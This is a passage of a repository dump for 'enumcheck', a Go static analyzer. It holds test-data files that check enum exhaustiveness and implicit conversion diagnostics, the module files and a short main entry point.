| case Beta: 36 | fmt.Println("beta") 37 | } 38 | } 39 | 40 | func ToString(v Letter) string { return string(v) } 41 | 42 | func ImplicitConversion() { 43 | var _ Letter = 90 // want "implicit conversion of 90 to enumbyte.Letter" 44 | _ = ToString(80) // want "implicit conversion of 80 to enumbyte.Letter" 45 | ToString(70) // want "implicit conversion of 70 to enumbyte.Letter" 46 | } 47 | 48 | type Struct struct { 49 | Value Letter 50 | } 51 | 52 | func AssignmentToStruct() { 53 | var s Struct 54 | 55 | s.Value = 123 // want "implicit conversion of 123 to enumbyte.Letter" 56 | s.Value = Alpha 57 | } 58 | 59 | func ExpandedAssignment() { 60 | var x Letter 61 | var s Struct 62 | 63 | s.Value, x = Values() 64 | _, _ = s.Value, x 65 | } 66 | 67 | func Values() (a, b Letter) { 68 | return Alpha, 3 // want "implicit conversion of 3 to enumbyte.Letter" 69 | } 70 | 71 | func ValuesX() (a, b Letter) { 72 | return Values() 73 | } 74 | 75 | func Chan() { 76 | ch := make(chan Letter, 10) 77 | ch <- 123 // want "implicit conversion of 123 to enumbyte.Letter" 78 | } 79 | 80 | func NamedChan() { 81 | type LetterChan chan Letter 82 | ch := make(LetterChan) 83 | ch <- 123 // want "implicit conversion of 123 to enumbyte.Letter" 84 | } 85 | 86 | func ChanFunc() { 87 | fn := func() chan Letter { return make(chan Letter, 10) } 88 | fn() <- 123 // want "implicit conversion of 123 to enumbyte.Letter" 89 | } 90 | -------------------------------------------------------------------------------- /enumcheck/testdata/src/enumcomplete/text.go: -------------------------------------------------------------------------------- 1 | // want package:"enumcomplete.Day = {Friday | Monday | Saturday | Sunday | Thursday | Tuesday | Wednesday}" 2 | package enumcomplete 3 | 4 | import "fmt" 5 | 6 | // Day is an enumerated type. 7 | // 8 | //enumcheck:complete 9 | type Day string 10 | 11 | const ( 12 | Monday = Day("monday") 13 | Tuesday = Day("tuesday") 14 | Wednesday = Day("wednesday") 15 | Thursday = Day("thursday") 16 | Friday = Day("friday") 17 | Saturday = Day("saturday") 18 | Sunday = Day("sunday") 19 | ) 20 | 21 | func DayWithDefault() { 22 | var day Day 23 | 24 | switch day { 25 | case "monday": // want "implicit conversion of \"monday\" to enumcomplete.Day" 26 | fmt.Println("monday") 27 | case Tuesday: 28 | fmt.Println("beta") 29 | default: 30 | fmt.Println("default") 31 | } 32 | } 33 | 34 | func DayWithoutDefault() { 35 | var day Day 36 | 37 | switch day { // want "missing cases Friday, Monday, Saturday, Sunday, Thursday and Wednesday" 38 | case "monday": // want "implicit conversion of \"monday\" to enumcomplete.Day" 39 | fmt.Println("monday") 40 | case Tuesday: 41 | fmt.Println("beta") 42 | } 43 | } 44 | 45 | func DayBasic() { 46 | var day Day 47 | 48 | switch day { // want "missing cases Friday, Monday, Saturday, Sunday, Thursday and Wednesday" 49 | case "monday": // want "implicit conversion of \"monday\" to enumcomplete.Day" 50 | fmt.Println("monday") 51 | case Tuesday: 52 | fmt.Println("beta") 53 | } 54 | } 55 | -------------------------------------------------------------------------------- /enumcheck/testdata/src/enumpartial/text.go: -------------------------------------------------------------------------------- 1 | // want package:"enumpartial.Day = {Friday | Monday | Saturday | Sunday | Thursday | Tuesday | Wednesday}" 2 | package enumpartial 3 | 4 | import "fmt" 5 | 6 | // Day is an enumerated type. 7 | // 8 | //enumcheck:silent 9 | type Day string 10 | 11 | const ( 12 | Monday = Day("monday") 13 | Tuesday = Day("tuesday") 14 | Wednesday = Day("wednesday") 15 | Thursday = Day("thursday") 16 | Friday = Day("friday") 17 | Saturday = Day("saturday") 18 | Sunday = Day("sunday") 19 | ) 20 | 21 | func DayNonExhaustive() { 22 | var day Day 23 | 24 | switch day { //enumcheck:exhaustive // want "missing cases Friday, Monday, Saturday, Sunday, Thursday and Wednesday" 25 | case "monday": // want "implicit conversion of \"monday\" to enumpartial.Day" 26 | fmt.Println("monday") 27 | case Tuesday: 28 | fmt.Println("beta") 29 | default: 30 | fmt.Println("default") 31 | } 32 | } 33 | 34 | func DayBasic() { 35 | var day Day 36 | 37 | switch day { 38 | case "monday": // want "implicit conversion of \"monday\" to enumpartial.Day" 39 | fmt.Println("monday") 40 | case Tuesday: 41 | fmt.Println("beta") 42 | default: 43 | fmt.Println("default") 44 | } 45 | } 46 | -------------------------------------------------------------------------------- /enumcheck/testdata/src/enumstring/text.go: -------------------------------------------------------------------------------- 1 | // want package:"enumstring.Day = {Friday | Monday | Saturday | Sunday | Thursday | Tuesday | Wednesday}" 2 | package enumstring 3 | 4 | import "fmt" 5 | 6 | // Day is an enumerated type. 7 | type Day string //enumcheck:exhaustive 8 | 9 | const ( 10 | Monday = Day("monday") 11 | Tuesday = Day("tuesday") 12 | Wednesday = Day("wednesday") 13 | Thursday = Day("thursday") 14 | Friday = Day("friday") 15 | Saturday = Day("saturday") 16 | Sunday = Day("sunday") 17 | ) 18 | 19 | func DayNonExhaustive() { 20 | var day Day 21 | 22 | switch day { // want "missing cases Friday, Monday, Saturday, Sunday, Thursday and Wednesday" 23 | case "monday": // want "implicit conversion of \"monday\" to enumstring.Day" 24 | fmt.Println("monday") 25 | case Tuesday: 26 | fmt.Println("beta") 27 | default: 28 | fmt.Println("default") 29 | } 30 | } 31 | -------------------------------------------------------------------------------- /enumcheck/testdata/src/enumstring2/text.go: -------------------------------------------------------------------------------- 1 | // want package:"enumstring2.Day = {Friday | Monday | Saturday | Sunday | Thursday | Tuesday | Wednesday}" 2 | package enumstring2 3 | 4 | import "fmt" 5 | 6 | // Day is an enumerated type. 7 | // 8 | //enumcheck:exhaustive 9 | type Day string 10 | 11 | const ( 12 | Monday Day = "monday" 13 | Tuesday Day = "tuesday" 14 | Wednesday Day = "wednesday" 15 | Thursday Day = "thursday" 16 | Friday Day = "friday" 17 | Saturday Day = "saturday" 18 | ) 19 | 20 | const Sunday Day = "sunday" 21 | 22 | func DayNonExhaustive() { 23 | var day Day 24 | 25 | switch day { // want "missing cases Friday, Monday, Saturday, Sunday, Thursday and Wednesday" 26 | case "monday": // want "implicit conversion of \"monday\" to enumstring2.Day" 27 | fmt.Println("monday") 28 | case Tuesday: 29 | fmt.Println("beta") 30 | default: 31 | fmt.Println("default") 32 | } 33 | } 34 | -------------------------------------------------------------------------------- /enumcheck/testdata/src/enumstruct/text.go: -------------------------------------------------------------------------------- 1 | // want package:"enumstruct.Day = {False | Maybe | True}" 2 | package enumstruct 3 | 4 | import "fmt" 5 | 6 | // Option is an enumerated type. 7 | // 8 | //enumcheck:exhaustive 9 | type Option struct{ value string } 10 | 11 | var ( 12 | True = Option{"true"} 13 | False = Option{"false"} 14 | Maybe = Option{"maybe"} 15 | ) 16 | 17 | func DayNonExhaustive() { 18 | var day Option 19 | 20 | switch day { // want "missing cases False and Maybe" 21 | case Option{"invalid"}: // want "invalid enum for enumstruct.Option" 22 | fmt.Println("beta") 23 | case True: 24 | fmt.Println("beta") 25 | default: 26 | fmt.Println("default") 27 | } 28 | } 29 | -------------------------------------------------------------------------------- /enumcheck/testdata/src/enumtype/expr.go: -------------------------------------------------------------------------------- 1 | // want package:"enumtype.Expr = {Add | Mul | Div | Value}" 2 | package enumtype 3 | 4 | // Expr is an enumerated type. 5 | // 6 | //enumcheck:exhaustive 7 | type Expr interface{} 8 | 9 | var _ Expr = Add{} 10 | var _ Expr = Mul{} 11 | var ( 12 | _, _ Expr = Div{}, Value(0) 13 | ) 14 | 15 | type Add []Expr 16 | type Mul []Expr 17 | type Div []Expr 18 | type Misc struct{} 19 | type Value float64 20 | 21 | var invalid = Value(-1) 22 | 23 | func Eval(x Expr) (Value, error) { 24 | switch x := x.(type) { // want "missing cases enumtype.Div" 25 | case Add: 26 | total, err := Eval(x[0]) 27 | if err != nil { 28 | return invalid, err 29 | } 30 | for _, v := range x[1:] { 31 | a, err := Eval(v) 32 | if err != nil { 33 | return invalid, err 34 | } 35 | total += a 36 | } 37 | return total, nil 38 | case Mul: 39 | total, err := Eval(x[0]) 40 | if err != nil { 41 | return invalid, err 42 | } 43 | for _, v := range x[1:] { 44 | a, err := Eval(v) 45 | if err != nil { 46 | return invalid, err 47 | } 48 | total *= a 49 | } 50 | return total, nil 51 | case Value: 52 | return x, nil 53 | case interface{ Name() string }: // want "implicit conversion of interface[{]Name[(][)] string[}] to enumtype.Expr" 54 | return 0, nil 55 | default: 56 | return invalid, nil 57 | } 58 | } 59 | 60 | func Name(x Expr) string { 61 | switch x.(type) { // want "missing cases enumtype.Div" 62 | case Add: 63 | return "Add" 64 | case Mul: 65 | return "Mul" 66 | case Value: 67 | return "Value" 68 | case Misc: // want "implicit conversion of enumtype.Misc to enumtype.Expr" 69 | return "Misc" 70 | default: 71 | return "unknown" 72 | } 73 | } 74 | 75 | func ImplicitConversion() { 76 | var _ Expr = Misc{} // want "implicit conversion of enumtype.Misc to enumtype.Expr" 77 | _, _ = Eval(Misc{}) // want "implicit conversion of enumtype.Misc to enumtype.Expr" 78 | _ = Name(Misc{}) // want "implicit conversion of enumtype.Misc to enumtype.Expr" 79 | Name(Misc{}) // want "implicit conversion of enumtype.Misc to enumtype.Expr" 80 | } 81 | 82 | type Struct struct { 83 | Value Expr 84 | } 85 | 86 | func AssignmentToStruct() { 87 | var s Struct 88 | 89 | s.Value = Misc{} // want "implicit conversion of enumtype.Misc to enumtype.Expr" 90 | s.Value = Add{} 91 | } 92 | 93 | func ExpandedAssignment() { 94 | var x Expr 95 | var s Struct 96 | 97 | s.Value, x = Values() 98 | _, _ = s.Value, x 99 | } 100 | 101 | func Values() (a, b Expr) { 102 | return Add{}, Misc{} // want "implicit conversion of enumtype.Misc to enumtype.Expr" 103 | } 104 | 105 | func ValuesX() (a, b Expr) { 106 | return Values() 107 | } 108 | 109 | func Chan() { 110 | ch := make(chan Expr, 10) 111 | ch <- Add{} 112 | ch <- Misc{} // want "implicit conversion of enumtype.Misc to enumtype.Expr" 113 | } 114 | 115 | func NamedChan() { 116 | type ExprChan chan Expr 117 | ch := make(ExprChan) 118 | ch <- Add{} 119 | ch <- Misc{} // want "implicit conversion of enumtype.Misc to enumtype.Expr" 120 | } 121 | 122 | func ChanFunc() { 123 | fn := func() chan Expr { return make(chan Expr, 10) } 124 | fn() <- Add{} 125 | fn() <- Misc{} // want "implicit conversion of enumtype.Misc to enumtype.Expr" 126 | } 127 | -------------------------------------------------------------------------------- /enumcheck/testdata/src/indirect/enum.go: -------------------------------------------------------------------------------- 1 | package indirect 2 | 3 | import ( 4 | "fmt" 5 | 6 | "enumbyte" 7 | ) 8 | 9 | func NonExhaustiveList() { 10 | var x enumbyte.Letter = 99 // want "implicit conversion of 99 to enumbyte.Letter" 11 | x = 88 // want "implicit conversion of 88 to enumbyte.Letter" 12 | switch x { // want "missing cases Delta, Eta, Gamma and default" 13 | case enumbyte.Alpha: 14 | fmt.Println("alpha") 15 | case enumbyte.Beta, 4: // want "implicit conversion of 4 to enumbyte.Letter" 16 | fmt.Println("beta") 17 | } 18 | } 19 | -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module loov.dev/enumcheck 2 | 3 | go 1.23.0 4 | 5 | require golang.org/x/tools v0.24.0 6 | 7 | require ( 8 | golang.org/x/mod v0.20.0 // indirect 9 | golang.org/x/sync v0.8.0 // indirect 10 | ) 11 | -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- 1 | github.com/google/go-cmp v0.6.0 h1:ofyhxvXcZhMsU5ulbFiLKl/XBFqE1GSq7atu8tAmTRI= 2 | github.com/google/go-cmp v0.6.0/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY= 3 | golang.org/x/mod v0.20.0 h1:utOm6MM3R3dnawAiJgn0y+xvuYRsm1RKM/4giyfDgV0= 4 | golang.org/x/mod v0.20.0/go.mod h1:hTbmBsO62+eylJbnUtE2MGJUyE7QWk4xUqPFrRgJ+7c= 5 | golang.org/x/sync v0.8.0 h1:3NFvSEYkUoMifnESzZl15y791HH1qU2xm6eCJU5ZPXQ= 6 | golang.org/x/sync v0.8.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk= 7 | golang.org/x/tools v0.24.0 h1:J1shsA93PJUEVaUSaay7UXAyE8aimq3GW0pjlolpa24= 8 | golang.org/x/tools v0.24.0/go.mod h1:YhNqVBIfWHdzvTLs0d8LCuMhkKUgSUKldakyV7W/WDQ= 9 | -------------------------------------------------------------------------------- /main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "golang.org/x/tools/go/analysis/singlechecker" 5 | 6 | "loov.dev/enumcheck/enumcheck" 7 | ) 8 | 9 | func main() { singlechecker.Main(enumcheck.Analyzer) } 10 | --------------------------------------------------------------------------------